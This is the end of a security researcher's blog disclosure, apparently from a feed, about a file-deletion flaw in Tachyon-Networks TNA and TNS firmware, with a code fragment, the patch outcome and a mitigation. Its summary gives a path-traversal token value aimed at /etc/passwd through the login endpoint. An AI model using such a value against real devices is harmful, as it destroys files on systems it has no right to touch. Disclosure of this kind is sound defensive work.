<span class="kd">local</span> <span class="n">module</span> <span class="o">=</span> <span class="p">{</span>
	<span class="o">...</span>
	<span class="n">delete_session</span> <span class="o">=</span> <span class="n">del_session</span><span class="p">,</span>
	<span class="o">...</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">module</span>
</code></pre></div></div>

<h2 id="outcomes">Outcomes</h2>
<p>After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.</p>

<p>No CVE IDs have been assigned as of this post.</p>

<p><strong>Affected Products:</strong></p>

<p>Tachyon-Network TNA and TNS series devices</p>

<p><strong>Mitigation:</strong></p>

<p>Update impacted devices to <strong>Version 1.11.5 or later</strong>.</p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="cve" /><category term="security" /><category term="tachyon-networks" /><category term="disclosure" /><summary type="html"><![CDATA[Overview HTTP DELETE requests to the login http endpoint /cgi.lua/login does not perform validation of token, allowing for any file to be deleted if supplied as a token (eg. TOKEN=../../../../etc/passwd)]]></summary></entry></feed>